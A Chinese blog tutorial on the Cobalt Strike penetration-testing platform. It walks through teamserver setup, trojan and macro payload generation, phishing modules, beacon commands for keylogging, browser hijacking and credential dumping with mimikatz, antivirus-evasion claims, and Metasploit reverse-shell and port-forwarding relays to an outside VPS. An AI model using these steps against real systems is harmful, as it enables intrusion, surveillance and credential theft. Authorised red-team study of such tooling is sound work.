Cobalt Strike神器使用教程

发布于:2023-04-27 ⋅ 阅读:(566) ⋅ 点赞:(0)

Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。

Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,主要是为了方便一个渗透团队内部能够及时共享所有成员的渗透信息,加强成员间的交流协作,提高渗透效率,可被团队进行分布式协团操作。
在这里插入图片描述
也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战。当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况。

Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。

简单的说,当我们获取到网站webshell后,下一步就得需要进内网,进行更深一步的渗透操作,那么又这款cs,将会让你无所不及!!建议服务端启在linux或kali中,客户端就windows中。

这次实验我在kali中,首先下载好后,拉到kali中
在这里插入图片描述

agscript                              #拓展应用的脚本

c2lint                                #用于检查profile的错误异常

teamserver                            #服务端程序

cobaltstrike,cobaltstrike.jar         # 客户端程序(java跨平台)

logs                                   #目录记录与目标主机的相关信息

update,update.jar                     #用于更新CS

third-party                            #第三方工具

首先开启服务端

在这里插入图片描述

 ./teamserver 团队服务器ip 设置一个团队服务器密码[别人要用这个密码才能连进来] 配置文件[一般默认即可] [YYYY-MM-DD] 

在这里插入图片描述

这样我们就把服务端给启动起来了

接着打开客户端,在这里插入图片描述

服务端默认端口时50050,填写好ip和port后,即可连接服务端。
在这里插入图片描述

功能介绍

1.Cobalt Strike

在这里插入图片描述

Perferences:设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录

Visualization:选择视图的显示方式,有三种,不好解释,亲自用了就会知道了

VPN Interfaces:设置vpn接口

LIsteners:设置监听。最重要的功能,里面有很多监听脚本

2.View

在这里插入图片描述

Applications -> 获取浏览器版本信息

Credentials -> 凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。

Downloads -> 下载文件Event Log -> 主机上线记录以及团队协作聊天记录

Keystrokes -> 键盘记录

Proxy Pivots -> 代理模块

Screenshots -> 进程截图

Script Console -> 控制台 更多脚本https://github.com/rsmudge/cortana-scripts

Targets -> 显示目标

Web Log -> Web访问记录

3.Attacks
该模块主要生成攻击payload,是基本每次必使用的功能。
在这里插入图片描述
在这里插入图片描述

HTML Application      生成恶意的HTA木马文件;
MS Office Macro       生成office宏病毒文件;
Payload Generator     生成各种语言版本的payload;
USB/CD AutoPlay       生成利用自动播放运行的木马文件;
Windows Dropper       捆绑器,能够对文档类进行捆绑;
Windows Executable    生成可执行exe木马;
Windows Executable(S) 生成无状态的可执行exe木马。

在这里插入图片描述

Web Drive-by(钓鱼攻击)
Manage                     对开启的web服务进行管理;
Clone Site                 克隆网站,可以记录受害者提交的数据;
Host File                  提供一个文件下载,可以修改Mime信息;
PowerShell Web Delivery    类似于msf 的web_delivery ;
Signed Applet Attack       使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack        自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler            用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
Spear Phish                是用来邮件钓鱼的模块。

4.reporting
在这里插入图片描述

activity report              活动报告生成
Hosts report                 主机报告
Indicators opromisef com     目标报告
Sessions report              会话报告   
Social engineering report    社会工程报告
Export data                  数据出口

实战操作

登录上来后,能在 event log中看到团队成员的相关信息,可以在这里聊天交友!!!
在这里插入图片描述
首先选择监听器

其中Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。

在这里插入图片描述

接着,去生成我们的payload

在这里插入图片描述

我的电脑是x64的系统,所以勾选x64,接着就会生成一个exe文件。
在这里插入图片描述

然后想办法放到目标服务器中,执行,接着我们的cs中就能接受到相关的sessions信息,上线的主机默认心跳时间为60s,基本不会产生流量,但可能会出现卡顿,可点击sleep修改心跳时间为0s
在这里插入图片描述

在这里插入图片描述

右键interact即可进入session,进行相关的操作

在这里插入图片描述

shell cmd 即可在目标上执行相关的系统命令

beacon> help shell 
beacon>shell ifconfig 
beacon>shell whoami
beacon>shell net user

在这里插入图片描述

beacon模块之browserpivot命令

用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了

beacon>ps     //查看浏览器进程,这里进程为2396

在这里插入图片描述

beacon>browserpivot  2396    //注入进程,并开启http代理,代理服务器为:   10.0.0.88:62243

在这里插入图片描述

本地浏览器设置http代理,host: 10.0.0.88 代理类型为:http  端口为:62243
 
beacon>browserpivot   stop    //停止代理

beacon模块之 Socks命令

选择受害者主机,然后右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理
在这里插入图片描述
在这里插入图片描述

在kali下 配置proxychains的配置文件:

vim /etc/proxychains.conf’

将socks4   127.0.0.1    9050 改为:  socks4      127.0.0.1     26370

proxychains  firefox ESR   //可通过sokcsk5代理访问肉鸡内网
 
beacon>socks stop  //关闭scoks代理

beacon模块之Screenshot&Keylogger

beacon>screenshot    //运行屏幕截屏命令
’
然后打开View->Screenshots,则可以看到屏幕截图

在这里插入图片描述

beacon>ps          //查看系统进程,随便选择一个程序的进程PID  
 
beacon> keylogger 2640  //键盘记录注入进程

打开View->Keystrokes,则可以看到键盘记录结果
在这里插入图片描述

beacon模块之powershell-import命令(渗透win2008以及以上)

beacon> powershell-import   //导入各种powershell脚本,这里可以导入nishang模块
 
beacon>powershell  posershell脚本名
 
或者
 
beacon> powershell Check-VM

beacon模块之密码读取

beacon> sleep 0  //快速显示结果
 
beacon> wdigest //读取信息
 
beacon>hashdump   //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump
 
beacon> logonpasswords  //运行mimikatz, 右击受害者主机--access- RUN mimikatz

生成一个dll劫持的后门,可反弹shell过杀软。

在这里插入图片描述

attackes—windows executable(s)–http Beacon–windows dll(64),生成一个dll文件

在受害者主机上执行:regsvr32 beacon.dll

也可以生成一个powershell的ps文件,也可以bybass 杀软

这里也可以生成一个powershell的ps文件,也可以bybass 360杀软

attackes---windows executable(s)--http Beacon--posershell


 在受害者主机上执行:posershell  beacon.ps1

与Metasploit进行联动

Cobalt Strike → Metasploit

Cobalt Strike获得了一个上线机器,想把这个机器传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp   #不要用x64的payload
set lhost 192.168.40.129
set lport 63
run -j

在这里插入图片描述

之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。

在这里插入图片描述

然后选中计算机,右键->Spawn:选择Metasploit的监听器:

在这里插入图片描述

这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。

Cobalt strike在内网渗透中的使用

其实通过cobalt strike 有可能实现提权,利用Bypass UAC(亲测在一次测试任务中,2012服务器各种脚本上去无法提权,但是利用bypass uac成功拿下)。

点击目标,右键 -> access -> bypass uac ,然后等一下,下面就会给出提示是否成功,而且成功以后,会在上面的列表上新生成一个在user上带有*号的主机,如下图。

在这里插入图片描述
现在我们就可以抓密码了,莫慌,在cobalt strike 也集成了mimikatz,在access ->run mimikatz,然后就可以看到抓下来的密码。

在这里插入图片描述

如果不想自己找账号密码,可以在credentials中查看,很方便。

在内网渗透中,在有shell的机器上部署一个socks,就可以利用本地的工具进行渗透内网,所以cobalt strike也集成了该功能,prvoiing ->socks server 建立成功后,会在下面显示:

在这里插入图片描述

通过proxychains 代理进行内网渗透。

当然,作为一款强大的协同工作平台+渗透利器,怎么会没有一些常见的扫描功能。

cobalt strike集成了端口扫描,位置在explore ->port scan。

默认扫描的为 /24,可以选择多种扫描方式。

在这里插入图片描述

我们还可以通过explore -> net view 来进行内网存活主机探测

在这里插入图片描述

的时候,我们需要进入内网机器,比如有一些软件需要在桌面的环境下打开,或者一些管理员会在桌面放一些东西,cobalt strike也想到了这个问题,所以我们也可以通过这个来进入桌面环境。

在explore -> desktop(vnc)点击等待就可以看到,但是也有一些问题,由于是http传输,速度非常慢,而且可能连不上,但是我们可以通过lcx(windows)或portmap(linux)进行端口转发,来得到一个桌面环境,这样是比较稳定的。给出命令:

shell是一台windows,vps是linux。
在win下执行:

lcx -slave vps_ip port local_ip port1
在vps下执行:

./portmap -m 2 -p1 port -h2 vps_ip -p2 7777
然后我们只需要在本地远程连接vps_ip:7777 就可以远程连接内网主机。

参考链接:
http://shentou.org/hacker/cobalt-strike%E5%9C%A8%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B8%AD%E7%9A%84%E4%BD%BF%E7%94%A8.html

本文含有隐藏内容,请 开通VIP 后查看